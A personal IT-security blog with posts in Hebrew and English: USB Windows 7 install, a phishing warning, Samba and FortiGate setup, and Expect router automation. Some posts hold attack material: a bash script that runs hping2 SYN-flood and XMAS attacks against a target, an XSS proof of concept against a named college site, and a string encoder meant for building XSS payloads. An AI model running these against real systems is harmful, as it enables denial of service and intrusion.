Saturday, August 15, 2009

איך להתקין Windows 7 מ USB DiskOnKey

אחד הדברים שאני הכי אוהב לעשות זה למצוא דרכים מעניינות ובעיקר מהירות לבצע פעולות אפילו טריוויאליות כמו התקנת מערכת ההפעלה. מאחר ואני משתמש במחשב נייד של Lenovo מדגם X200, אשר מגיע ללא כונן DVD/CD – החלטתי לבדוק כיצד ניתן לבצע התקנה של Windows 7 מכונן USB.

הפלא ופלא , כל ההתקנה לקחה 8 דקות בזכות הפעולה המהירה של קריאה מכונן Flash.

בכל מקרה, החלטתי לשתף מדריך קצר שמסביר איך להכין USB DiskOnKey להתקנת Windows 7

נצא לדרך :

עלינו להכין מראש את הדברים הבאים :

1. דיסק און קי בגודל 4 ג’יגה אשר נמחק את כל תוכנו בתהליך

2. דיסק התקנה ( DVD ) של Windows 7 ( אגב , גם Vista אני מתקין ככה , אם בכלל )

3. כ20 דקות מזמנכם הפנוי.

נעבוד שלב שלב :

1. יש להכניס את הDOK – קיצור ל Disk On Key לחיבור הUSB

2. יש לפתוח CMD במחשב עם הרשאות Administrator

3. יש להקיש DISKPART ואנטר ולהמתין לשורת הפקודה המתאימה

4. כעת יש להריץ LIST DISK ולרשום בצד את מספר הדיסק שהוא הUSB

אצלי זה היה DISK 5 , אם אצלכם שונה ,אז נא להתייחס בהתאם עם הפקודות הבאות.

5. כעת יש להריץ את הפקודות הבאות ברצף :

SELECT DISK 5

CLEAN

CREATE PARTITION PRIMARY

SELECT PARTITION 1

ACTIVE

FORMAT FS=NTFS

( שימו לב שתהליך הפורמט יכול לקחת עד 5 דקות כי זה Low Level Format )

ASSIGN

EXIT

7. כעת נכניס את הDVD של Windows 7 לכונן שהאות שלו היא במקרה שלי T , כמו כן האות אשר קיבל הDOK שלי היא Y

8. באמצעות שורת הפקודה נבצע את הפקודות הבאות ( בהתאמה לאותיות )

T:

CD BOOT

BOOTSECT /NT60 Y:

9. כעת יש להעתיק את כל הקבצים מהDVD לכונן הUSB בהעתקה פשוטה.

10. סיימנו.

הערה : כדי להתקין מכונן הUSB , יש לשנות את סדר העליה כך השהמחשב יעלה מכונן הUSB.

 

בהצלחה !

Labels: , ,

Wednesday, January 21, 2009

A New MSN Phishing ( Identity Theft ) Worm - ENG

[ A Rewrite of this post in english , due to the importance ]

 

A few days back , I received a nice gift via my Msn IM account, i got the following link :

http://myparties.piclooks.com/?<user> ( where <user> is the infected sender ). in that case i got it through MSN , so i dont tknow if any other IM is compromised.

when clicking on that link you would get the following web window -

SNAG-0044

That screen immediately raised my suspicion that there is something wrong here. an unknown site is asking for my MSN / Hotmail credentials in order to provide me a service which natively could be provided via a normal API... so i started checking.

Viewing the client side source code was very nice , cause it shows a very simple - almost child-like html code that is generated via simple tools.

An IP address (  64.34.154.82 ) was embedded in, which is not something that you would expect from a service, very unusual.

When disecting the URL to its basics and just going to piclooks.com , you would get the following output ( meaning , there is no actual homepage behind this application )

piclooks-com

The summary is very simple , this is most probably a phising site , and not a very sophisticated one , which its whole purpose is to steal the online identities of those who are naive enough to play along.

be careful of this hoax.

Labels: , , , , , , , ,

Saturday, December 08, 2007

הקוד , לבקשתכם - XSS Translator

לפני מספר חודשים כתבתי עבור חודש XSS של גיא מזרחי כלי פשוט יחסית , שמטרתו הייתה בעצם להמיר מחרוזות פשוטות לדצימלי , ובכך לאפשר לבנות מחרוזות להתקפת XSS בצורה קלה יותר...

מספר אנשים פנו וביקשו את הקוד הפשוט יחסית , ובכן שיניתי מספר דברים בעקבות מיילים ותגובות בכל מיני מקומות שונים , כדי לפשט. הנה זה פשוטו כמשמעו ... כפי שוודאי ניתן להביא מדובר סה"כ בהמרות מהקסה למבנה דצימלי ובחזרה , כעת כבר לכל המחרוזת , שינוי שבוצע בעקבות בקשות במיילים.

ישנם ממירים רבים להורדה באינטרנט , חלקם אפילו נכתבו על ידי RSnake בכבודו ובעצמו, אך מי שמכיר אותי יודע שאם זה לא יצא מהידיים שלי , זה אומר שאני לא ממשיך הלאה לנושא הבא ...

הנה הקוד הסופי ... .NET כמו שאתם אוהבים .

 

For my english reading audience - this is my code for converting text into decimal codes for applying XSS attacks , in .NET for your convinence. enjoy ...

 

Public Class XSS_Translator

    Public Function hex2dec(ByVal hextext As String) As String
        hex2dec = Chr(Convert.ToInt32(Mid(hextext, 2, 2), 16))
    End Function

    Public Function myConvert(ByVal INPUT As String, ByVal Act As Integer) As String
        Dim myresult As String
        Dim i As Integer

        For i = 1 To Len(INPUT)
            If Act = 1 Then
                myresult = myresult & "%" & Hex(Asc(Mid(INPUT, i, 1)))
            Else
                If (Mid(INPUT, i, 1) = "%") And (i <= (Len(INPUT) - 2)) Then
                    myresult = myresult & hex2dec(Mid(INPUT, i, 3))
                    i = i + 2
                Else
                    myresult = myresult & Mid(INPUT, i, 1)
                End If
            End If
        Next
        myConvert = myresult
    End Function

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If RadioButton1.Checked = True Then
            outputBox.Text = myConvert(inputBox.Text, 1)
        Else
            outputBox.Text = myConvert(inputBox.Text, 2)
        End If
    End Sub

End Class

Labels: , , , , , ,

Sunday, September 23, 2007

איך להקים שרת קבצים פשוט ובטוח על Linux

בעקבות מספר בקשות ושאלות שנשאלתי בדואר אלקטרוני ועל ידי כל מיני חברים ( בעיקר בעקבות הקמת שרת הקבצים הביתי שלי ) החלטתי לבנות מעין מדריך קצר ולעניין, אשר מסביר כיצד מקימים שרת קבצים פשוט מבוסס לינוקס. שימו לב , לא שמתי יותר מידי דגשים על התממשקויות למערכות צד שלישי וכדומה, אלא בעיקר על יצירת מערכת SHARING עובדת עם רמת אבטחה סבירה.

הסיבה לכך שהקמתי את שרת הקבצים הייתה - ריבוי הסרטים , שירים , קליפים , מסמכים ותמונות שיש לי ברשת הביתית שלי , והקושי בנגישות אליהם בכל פעם. החלטתי שאני רוצה לאפשר לכל המחשבים לצפות בסרטים , לנגן שירים ולראות תמונות באותו הזמן , וכמובן בקוד פתוח ובקלות. יחד עם כל שרתי הקבצים הנמכרים כיום לשימוש ביתי במאות דולרים - החלטתי שזה לא בשבילי - אני צריך משהו שאפשר לשדרג כל הזמן , ומשהו שיעלה מעט.

חומרה נדרשת :

המפרט אשר אני ממליץ עליו לצורך הקמת שרת ביתי שכזה :

  • מחשב מדף פשוט עד 1000 ש"ח ( ניתן לקנות בכל חנות אינטרנט ) עם בקר SATA ומפרט בסיסי.
  • להוסיף הרדיסק SATA לפי הצורך - אני ממליץ 500GB של WD ( בערך 500 ש"ח ).
  • להחליף קירור בקירור שקט של 12" למאווררים - ( כ50 ש"ח ).
  • כרטיס רשת 10/100 כלשהו, עדיף Intel בגלל התמיכה ללינוקס ( כ 35 ש"ח )

החומרה שלי ( הייתה קיימת , ולכן השתמשתי ) :

אני השתמשתי ב : מחשב VIA EPIA 1200 פשוט עם 256MB זיכרון ( אולי אגדיל ) דיסק קשיח 40GB למע' הפעלה ( IDE ) בקר PCI עבור כרטיס RAID של Sweex ( בחומרה ) שאליו מחוברים 2 דיסקים של 500GB בRAID1 ( זה כי אני תמיד מגזים ) וכמובן ממשק רשתי פשוט של 10/100 של INTEL.

LINUX :

כדאי לדעת צעדי לינוקס בסיסיים בכי להשתמש במדריך הזה , בכדי להקל על עריכת קבצים וההתקנה אותה אין בכוונתי להסביר כאן. לצורך ההקמה נשתמש בCENTOS LINUX 5 אשר ניתן להוריד בחינם מהקישור הבא mirror.isoc.org.il . שימו לב , יש להוריד או DVD או 6 דיסקים , למרות שלא נצטרך את כולם. אגב, כל גרסת לינוקס תתאים. -- יש להתקין את הלינוקס נקי לחלוטין , ולדעתי אין צורך בFIREWALL עליו.

SAMBA :

בלינוקס , הגורם המקשר את סביבת פרוטוקול SMB של חלונות , לבין לינוקס - הוא פרוייקט סמבה , אשר משמש כממשק בין מערכות ההפעלה השונות. בעצם המטרה שלנו היא לקבל SHARE של מחשב הלינוקס - במחשבי החלונות שלנו.

יש להתקין את samba על המחשב , ולהקפיד על גרסה אחרונה כמובן ( בסביבת REDHAT\CENTOS\FEDORA הפקודה היא yum -y install samba )

כעת יש להוסיף משתמשים למערכת , לצורך העניין נקרא למשתמש linuxshare במדריך זה ( למי שלא זוכר , מוסיפים משתמש זה על ידי useradd -m -G users -s /bin/bash linuxshare ) אסמן את שם המשתמש עם קו תחתי מעכשיו , שיהיה קל לשים לב ולשנות בהתאם.

יש לקבוע למשתמש החדש סיסמה על ידי passwd linuxshare

כעת יש לערוך את הקובץ - etc/samba/smb.conf/ אשר מכיל את הקונפיגורציה המתאימה לאפליקציה ויש להכניס את השורות הבאות.

# general definitions
[global]

workgroup = MSHOME
server string = My File Share
log file = /var/log/samba/log.%m
max log size = 50 

# security config
security = user
hosts allow = 127.0.0.1 192.168.1.0/24
hosts deny= 0.0.0.0/0

# server password file
encrypt passwords = yes
smb passwd file = /etc/samba/smbpasswd

# shares
[FileServer]
comment = File Server Share
path = /home/linuxshare
valid users = linuxshare
public = no
writable = yes
printable = no
create mask = 0765

הערה : שימו לב לשורת הhosts allow , אשר משמשת כמעין IP FILTER שמאפשר התחברות רק מכתובות הרשת הרלוונטית , יש לשנות בהתאמה , כמובן את 127. רצוי להשאיר כי מדובר בloopback

כעת עלינו להעתיק את קובץ הסיסמאות של מע' ההפעלה בכדי לשייך את המשתמשים הקיימים במערכת למערכת הSAMBA שלנו על ידי -

cat /etc/passwd | mksmbpasswd.sh > /etc/samba/smbpasswd
chmod 600 /etc/samba/smbpasswd

כעת עלינו לקבוע סיסמת משתמש השיתוף על ידי הפקודה

smbpasswd linuxshare

עתה נפעיל את הישום בפעם הראשונה ואף נוסיף אותו לסקריפט העליה של המחשב ( בכדי שיעלה בכל פעם מחדש כמובן )

service smb start
/sbin/chkconfig --level 345 smb on

זהו , כעת לכו ל"שכנים ברשת" והתחברו לשרת שלכם באמצעות השם והסיסמה שבחרתם. במידה ועקבתם אחר כל ההוראות , זה אמור לעבוד.

אולי הייתי מוסיף גם CLAMAV בתור אנטיוירוס שיסרוק כל העתקת קבצים לשרת ( אצלי יש AV רשתי )

אני מאמין גדול בשרתי קבצים ביתיים , אני מאמין שהם מקלים את העבודה,  לטווח ארוך חוסכים באמצעי אכסון ומשאבים - שכן אין צוך שלכל מחשב בבית ( ולי יש 8 פעילים ) יהיה  דיסק קשיח מפוצץ , אלא מספיק שיהיה משהו כמו 80GB למשתמש ממוצע ( אני לא ממוצע כנראה ) ושיהיה שרת קבצים עם רוב האכסון עליו , כך ניתן להגדיר לכל משתמש נפח משלו , או נפח אכסון כללי לכולם , אצלי למשל הMy Documents בסביבת הWindows הוא בעצם Mount לכונן רשתי מתאים.

אגב , ניתן לשלב במערכת גם CLAMAV אשר בודק את הקבצים הנכתבים לדיסק המשותף , אצלי זה מוטמע , אבל פוגע בביצועים ,כשאני אמצא איך לשפר - אני אכתוב מדריך גם לזה פה. בנתיים המחבר בין האלמנטים הוא בunstable ולכן לא רלוונטי.

בהצלחה.

Labels: , , , , , , , ,

Wednesday, September 19, 2007

XSS באתר hadassah.ac.il

האמת היא שפשוט תוך כדי שיטוט שלי באתרי אקדמיות שונות בארץ , מצאתי להפתעתי ( או לא להפתעתי )  שישנן גם פגיעויות XSS בהם. זה לא מפתיע במיוחד , אבל ככה זה . בכל מקרה למרות שאני לא נוהג לזרוק לבלוג כל פגיעות או פירצה שאני מוצא , אבל מידי פעם זה פשוט נדרש ( מה גם שגיא דוחף אותי לפרסם דברים כאלה פה ושם , כדי "להחזיר משהו לקהילה" ).

 
בכל אופן , זה כאן . אני בכל מקרה Whitehat ולכן , אין לי כל סיבה או רצון להמשיך לחפור ולבדוק לאן עוד ניתן להגיע , אבל ברור שאפשר. לצערי , למרות שאני נוהג בד"כ להודיע לגוף שבו מצאתי בעיית אבטחה , למכללת הדסה אין נקודת פניה גלויה לציבור הגולשים. שלחתי הודעה לכתובת הכללית ליצירת קשר.
 
POC :
1. יש להיכנס לאתר www.hadassah.ac.il
2. יש להקיש בחלון החיפוש בצד ימין - <script>alert("xss");</script>
3. הXSS להוכחת פגיעות יפעיל חלון שבו יהיה כתוב XSS כמובן.
 
אגב , נושא הXSS פוקד אותי לאחרונה למחקרים עמוקים אודות כדאיות ושימושיות מערכות Application-Layer-Firewall אשר מגינות בדיוק כנגד בעיות כאלו , וכמובן יכולת ועומק הטיפול בבעיות משתנה ככל שהמוצרים מתפתחים.
 

Labels: , , , , ,

Monday, September 17, 2007

MSN Messenger - Ad Block - Revisited


Following some email requests ( too many for that specific question ) that ive got to help various FORTIGATE ( by fortinet ) owners - to set their firewall security policy to block MSN Advertisment within the client ( as a Proof Of Concept ONLY ) ... and following an old post ( that i have posted here on march 13th 2007 - Link ) i am posting the requested configuration for the machines.

I have devided to re-post this , with better technical explenation - and in english this time , as a gesture to the "Security Bloggers Network" ( which i only post english feeds to , and this is one worth mentioning ).

the main concept is to block 3 reg-ex uri links that the messenger client gets its advertisment ads from. ( as you may or may not know , this IM uses HTTP to get things done , well - lets break its path...

[ note : configuration is made for the FortiOS mr5 patch 2 and tested on FGT60 ]

As i previsously posted , this is a good way of handeling messenger usage within organizations that do not approve end-user advertisment on its computer environment.

There are two ways of doing it ... one through the url filter engine , and the other one is through the IPS ( which i find much more exotic way of getting things done through deep packet inspection ).

Method 1 - URL Filter :

1. goto the CLI on the machine and paste the following configuration -

  • config webfilter urlfilter
        edit 1
                config entries
                    edit "ad.msn.co.il/js.ng"
                        set action block
                    next
                    edit "rad.msn.com/ADSAdClient31.dll"
                        set action block
                        set type regex
                    next
                    edit "config.messenger.msn.com/Config/MsgrConfig.asmx"
                        set action block
                        set type regex
                    next
                end
            set name "block-msn-ad-engine"
        next
    end

2. choose the "block-msn-ad-engine" within your protection-profile of choice.

Method 2 - IPS :

1. go to the Intrusion Protection >> Signature >> Custom menu and add the following signatures -

  • F-SBID( --name "bs_MSN-AD-Stop.A"; --protocol tcp; --flow established ; --regex "ADSAdClient31.dll"; --no_case)
  • F-SBID( --name "bs_MSN-AD-Stop.B"; --protocol tcp; --flow established ; --content "ad.msn.co.il"; --no_case)
  • F-SBID( --name "bs_MSN-AD-Stop.C"; --protocol tcp; --flow established ; --regex "MsgrConfig.asmx"; --no_case)

2. choose appropriate severity and include the severity in the desired protection-profile.

 

Disclaimer : this is a POC only , this kind of usage may conflict with the MSN Messenger usage aggreement , and i am not to take any responsibility for and unethical or illegal usage of this article and the information it provides. and although i tink using this information to violate any EULA or other agreement is wrong - if you use it - you are taking for responsability for it.


i am not sure that there is any violation , since all this solution does is changing the availability of web data to an application - so basically treating the application as a user in the network and denying it from getting to some internet content . legitimate isnt it ?

Labels: , , , ,

Thursday, August 30, 2007

POC לסקריפט - hping2 DOS

נשאלתי פעמים רבות כיצד ניתן ליצור בדיקות של SYNFLOOD או של התקפות XMAS על שרתים ועל ציודים , אך בעיקר על שרתי WEB שהם האפליקציה הוודאית אשר פתוחה לעולם ולכן בין הקריטיות שיעמדו בעומסי התקפה מסויימים. מובן שכיום רוב מרכות הIPS והFW כבר מס.וגלות לאתר את ההתקפות הללו ולהתמודד איתן בצורה יפה. אבל שוב , ביקשתם קיבלתם

מדובר כמובן על התקפות סופר מיושנות על שכבות התקשורת מול שירותים מסויימים , במקרה הזה נדגים על PORT 80 שהוא מבואת הגישה לפרוטוקול HTTP ( אלא אם שונה ) . לא ארחיב בנוגע לסוגי ההתקפות עצמן - אני יוצא מנקודת הנחה שהן מוכרות.

הסקריפט הבא מתבסס על כלי פשוט בשם HPING אשר מאפשר לייצר פאקטים משל עצמנו. אני בשביל להתכונן לבדיקה שכזו , מוודא גם שהמכונה שלי לא מסוגלת להחזיר ACK ( קצת עבודה עם IPTABLES ) אבל הלוגיקה פשוטה . שוב הכלי הוא POC בלבד , והוכן בשביל להראות לחבר איך נראית התקפה שכזו ומה ההשפעה ( הפלנו באמצעות התקפה עם 10 מחשבים , שרת 2000 לא מוקשח עם IIS5 עליו ).

#!/bin/bash
# note : you need hping2 package installed.
# usage: ./script IP/DOMAIN | METHOD | THREADS
# methods : 1 = synflood | 2 = xmas attack
# example : ./script domain.com 1 50 .
# this will produce a synflood on domain.com with 50 threads
i=1
while [ $i -le $3 ]
do
   if [ $2 -eq 1 ]
   then
     hping2 -S -p 80 $1 & #synflood
   else
     hping2 -X -f -p 80 $1 & #xmas
   fi
   i=`expr $i + 1` #increment counter
done
if [ $1 -eq 0 -a $2 -eq 0 -a $3 -eq 0 ] # use ./script 0 0 0 to kill attack
then
   killall hping2
fi

אין מאחורי המנוע משהו מתוחכם , מדובר בפעולה פשוטה ( ואפילו חובבנית ולא תמיד עובדת ) של סקריפט BASH. היתרון היחסי בדוגמא זו , הא שניתן לבין עד כמה פשוט לייצר כלים או סקריפטים תוצרת בית בכדי לבצע פעולות שונות , אפילו זדוניות - או לחליפין לייצר אוטומציה של תהליכים שכאלו.

Labels: , ,

Tuesday, August 21, 2007

אוטומציה למערכות ASP באמצעות Expect

בשנים האחרונות , ובעידן של ריכוז פעילות אצל ספקיות שירותים כדרך הגיונית ופשרת מחירים ותמיכה לשירותים מנוהלים - ישנה מגמה בולטת בהחלט לספקיות שירותים , ובעיקר ספקיות האינטרנט וחברות שר מסוגלות להעמיד מערך אירוח שרתים ומתן תמיכה במודל מיידי - להקים שירותים במודל ASP - ( Application Service Povider ) ובכך בעצם לאפשר מתן של שירותים ללקוחות רבים על גבי פלטפורמה אחת.

בין השירותים שעוברים לאט לאט לעולם הASP אנו יכולים לראות את מודל הHosted UTM FW אשר מפשט עלויות על ידי כך שבקצה הלקוח מונח נתב בלבד, אשר מקשר לתוך VRF אצל הספקית ונגמר בFW שיתופי פרטי , ואז המודל ללקוח הוא בעצם שירות חודשי במקום השקעה בציוד וכח אדם מתחזק. זה נכון גם לגבי MAIL RELAY , שירות SSL VPN ומאוד נפוץ בתחום אירוח האתרים ואפילו החל לתפוס תאוצ בעולם הVOIP. כמובן שאת השירות הוותיק מכולם - תיבת דואר אלקטרוני אצל הספקית , אנו רואים כיום כבר כמובן מאליו ... שירותים רבים מתווספים כיום ואפשר אפילו לראו שירותי EXCHANGE או VMWARE מנוהלים ומשותפים מרחוק.

אחת הבעיות היותר מורכבות בהקמת מערכות ASP הקשורות לאבטחת מידע או בכלל לשירותים מנוהלים ( ואני לא מכניס לכאן את אלמנט הCTO\CSO המבוהל שלוקחים לו את השליטה ומעבירים לספקית ואזהוא מרגיש את הצורך להתגונן כפליים ) הוא הצורך לייצר קונסולידציה בין מערכות לצורכי הגדרה מנוהלים.

הכוונה בעצם היא לכך שכאשר חברה נרשמת לשירות מסויים , בד"כ קליטת ההזמנה מבצעת דרך מערכות CRM למיניהן , שמטייבות עסקאות מול מערכת ERP , ולאחר מכן מעבירות לביצוע חלק ניכר מהפעולות במערכות אוטומטיות . על ידי כך בעצם ירד העומס והדרישות לכח אדם במערכות הBACKOFFICE של הספקיות.

דוגמא מעניינת תהיה למשל ללקוח אשר מעוניין לקבל שירות אנטיספאם עבור דומיין שלו . אז הדרך הנכונה תהיה להעביר את הדומיין לשליטת הספקית והקמת DNS ZONE על גבי מערכות הDNS ( התממשקות ראשונה ) ואז להקים את הדומיין והמדיניות במערכות האנטיספאם ( התממשקות שניה ) ואז להגדיר בחוקי המערכות אפשרות RELAY לדומיין דרך מערכות הספקית ( התממשקות שלישית ) ואז לדבר עם מערכת הIDM של הלקוח בשביל לאפשר למשתמשים שליטה ( התממשקות רביעית ) וכאשר יש לך 5000 - 10000 וכן הלאה לקוחות , המשימה הופכת לעיל בלתי הגיוני . ולכן האוטומציה.

אחת הדרכים שאני אוהב להשתמש בהן היא להקים בעצם מערכת LINUX אשר יודעת לקבל שאילתות ממערכות הERP\CRM ובעצ לתקשר עם המערכות השונות ואז לבצע את הקמת החוקים באופן אוטומטי.
ולאור העובדה שרוב המערכות לASP תומכות SSH ( וזו בד"כ דרישת RFP בעולם הזה ) נהוג לעבוד עם mod_ssh על גבי PERL. אך אני אישית לא אוהב את השיטה הזו - ואני מקווה שאני מכיר לכם משהו חדש פה : Expect Interpeter.

בעצם מערכת EXPECT ( אשר ניתנת להרצה גם על שכבה של WINDOWS ) מאפשרת לנו לעבוד באופן אמיתי כמשתמש וירטואלי על גבי מערכות מרוחקות ולשלוח להן פקודות ומשתנים משלנו. למשל בואו ניקח את שיטת הוספת הניתוב לנתב CISCO ... איך בעצם נוסיף ניתוב ? נבצע את הקוד הבא :

Username: USERNAME
Password: PASSWORD
Router> enable
Router# conf t
Router(conf)# router 1.1.1.1 255.255.255.255 2.2.2.2
Router(conf)# exit
Router# wr mem
Router# exit

למעשה מדובר על רצף פקודות הגיוני , אשר מתחיל בTELNET\SSH לכתובת IP , והמשתנים בו יהיו תמיד שם משתמש , ססמה , כתובת יעד וכתובת מקור. ולכן ניתן ליצור לכך אוטומציה . מה שיבצע SCRIPT של EXPECT יהיה בעצם לצפות לערכים שונים מהפלט של פקודת הSSH או הTELNET ובעצם לזרוק את המשתנה או הפלט הנכון לטרמינל בתגובה - בניגוד לדרך של עבודה עם PROCESS , כאן מדובר על שימוש טבעי בסביבת הTELNET , דוגמא לביצוע מקביל של הפעולה שרצינו בסקריפט של EXPECT ( בלי בדיקת קלט או נכונות וכל מיני פולשטיקים ... ) :

#!/usr/bin/expect -f
#usage : ./script RO_IP RO_USER RO_PASS SRC_IP SRC_MSK DST_IP
set router_ip [lindex $argv 0]
set router_user [lindex $argv 1]
set router_pass [lindex $argv 2]
set data_srcip [lindex $argv 3]
set data_srcmsk[lindex $argv 4]
set data_dstip [lindex $argv 5]
set timeout -1
spawn telnet $router_ip
match_max 1000000
expect "Username:"
send -- "$router_user\r"
expect "Password:"
send -- "$router_pass\r"
expect "> "
send -- "enable\r"
expect "# "
send -- "conf t\r"
send -- "route $data_srcip $data_srcmsk $data_dstip\r"
send -- "exit\r"
send -- "wr mem\r"
send -- "exit\r"
expect eof

ולמה בזבזתי זמן יקר לכתוב כאן את הסקריפט הפשוט הזה ? פשוט בכדי להראות עד כמה פשוט לבצע אוטומציה לתהליכים מול מערכות באמצעות EXPECT ולהוריד משמעותית את הOVERHEAD , שימו לב לקוד - אני בעצם משתמש בידע שלי בהגדר נתב ושולח פקודות טבעיות למול SESSION של TELNET במקרה זה ופשוט בכל פ מצפה לפלט מהקונסול ושולח ערכים משלי. באמצעות שימוש בסקריפטולוגיה מסוג זה , בעצם ניתן להביא למימוש - אוטומציה של תהליכים. מתכנת הסקריפט בסהכ צריך לשבת עם פלט של הגדרה , או עם איש תפעו מערכת ולעקוב אחרי השורות . אגב קיים גם פורט שנקרא AutoExpect שבעצם מקלט סשן חי ואז הופך אותו לסקריפט.

בואו נחשוב על זה , אם יש לנו מערכות כמו FORTIGATE שאנו רוצים להגדיר VDOM עם הגדרות בסיסיות בצורה אוטומטית ולתת לאיש התפעול מסך פשוט וללא טעויות - דרך קלה לביצוע . אותו דבר לגבי הקמה של שירות דואר RELAY לחברה , אותו דבר לגבי בניית רשתות MPLS קטנות ( כי מי ייתן למערכת אוטומטית להגדיר BGP ... ) ורבים אחרים. ניתן לראות הטמעות רבות בארגונים גדולים אשר עצם הקמת משתמש חדש ברשת דורש מעבר על 15 מערכות שונות ( וחלק מכך הוא גם הגדרות בNAC למשל ) אשר ניתן לפשט על ידי קישור פשוט של LOGINSCRIPT ראשוני אשר יגדיר את המשתמש בשאר המערכות השונות בארגון.

אז נכון , יש להיזהר רבות , וCODE REVIEW במבחינת אבטחת מידע הוא קריטי, כמו גם דרך העברת CREDENTIALS לסקריפט ( שאגב נהוג לא לשמור במערכות אלו , אלא לקחת אותו בכל הרצה כקלט ולתשאל עבורו ) אבל בהחלט מדובר על דרך הגיונית ולגיטימית לבנות מערכות LARGE-SCALE תוך שמירה על מינימום מגע אנושי בתהליך , ומקסימום יעילות.

Labels: , , ,

Tuesday, March 13, 2007

MSN Messenger רק קצת יותר נקי


למרות שאני מתנגד לחלוטין לכל מה שקשור לגניבת זכויות יוצרים ולימוש לרעה בכלים טכנולוגיים על מנת לעקוף מערכות רישוי וכדומה , שכן אני מאמין שעל מנת לקבל שירות איכותי ומוצרים איכותיים , החברות המפתחות אותם צריכות לקבל תשלום הוגן עבורן. שימו לב , אני לא מצדד בשום שלב בכוחניות כלשהי בתחום זה , אלא כקונספט. אני חושב שבכדי לקבל מוצרים ארגוניים ( ואני מתכוון רק לארגוניים ) טובים ואיכותיים הכוללים עדכוני אבטחה עליהם עמלים אנשי פיתוח בשעות הקטנות של הלילה , כשבדלי הסיגריה מצטברים במאפרה , והקפה השחור מצהיב את השיניים שלהם...

בכל מקרה , הקדמה זו הייתה רק מאחר שאני רוצה לשתף אתכם במשהו. אני מקבל המון פניות מארגונים אשר הסיבה שאינם מאפשרים להשתמש בתוכנות IM למיניהן הן הפרסומות אשר מוצגות בתוכנות הללו. משרדים בעלי אנשים דתיים , אשר לא מעוניינים לקבל פרסומות עם נערות בביקיני. או בתי ספר אשר אינם רוצים שילדים יחשפו לתכנים לא רלוונטיים וכדומה. תוכנות שמזמן הפכו לכלי ארגוני כגון MSN Messenger המעולה , אינן מורשות לשימוש בארגונים רבים בשל התכנים אליהם עלולים להיחשף העובדים\מקבלי השירות באותם מוסדות.


ובכן , אני מציג כאן כדוגמא טכנית בלבד - כיצד ניתן לבצע הפעלה של תוכנות אלו ללא פעלת הפרסומות בהן, זהו מעין POC.

את הדוגמא המצולמת ביצעתי עם מוצר Fortigate כGateway Firewall. למעשה בניתי סינון תכנים אשר מחפש בURL את האתרים ad.msn.co.il שמציג את הפרסומת בחלון הראשי של מסנג'ר
או את האתר rad.msn.com אשר מציג את המשפט הפרסומי מתחת לחלון השיחה. כמו כן סיננתי את מילות התוכן [CACHECLEAN] מהתכנים ( קצת Sniffing ) ומאותו רגע המסנג'ר הפך לנקי.
לא מורכב במיוחד ...
כמו כן , אני לא יודע איזו עוד השפעה יש לגורם הבא - אבל כאשר חסמתי את הSyntax הבא :
"config.messenger.msn.com/Config/MsgrConfig.asmx" אז למעשה היה נשמר אפילו הלוגו של מסנג'ר בחלון הפרסומת התחתון ומנוע הפרסומות לא היה מותנע אפילו.

אגב, ניתן היה גם לבצע כחתימת IPS סטנדרטית באותה מערכת , ובכדי לחסוך מעצמי מיילים מיותרים ... הנה שתי החתימות הרלוונטיות ( בפורמט של Fotigate )

חתימה ראשונה
F-SBID( --name "bs_MSN-AD-Stop.A"; --protocol tcp; --flow established ; --regex "ADSAdClient31.dll"; --no_case)
חתימה שניה
F-SBID( --name "bs_MSN-AD-Stop.B"; --protocol tcp; --flow established ; --content "ad.msn.co.il"; --no_case)

שוב ,אני לא מכוון לכך שזהו שימוש הולם במוצר , שכן זוהי עשויה להיות הפרה של הסכם השימוש בו לפי דעתי ( לא בדקתי לחלוטין ) אבל מבחינה חוקית - לא נגעתי בתוכנה , אלא רק סיננתי אתרים בדרך ולכן יש כאן פן של חפות פשע מסויימת :).
אני אגב , הסרתי את הסינון לאחר כתיבת המאמר.

הערה : מדובר בהדגמה בלבד ובדיקת היתכנות טכנית , ואין לקחת במה שכתבתי כהנחיה לביצוע עבירה כלשהי או שימוש לא חוקי כזה או אחר במוצד.

Labels: ,


About

    My Name is Barry Shteiman, im a devoted tech junkie, and this is my blog.
    E: barry.shteiman -at- gmail.com
    Twitter : bshteiman

Tags & Categories

Mailing List & RSS

Stay Updated  
Add to Technorati Favorites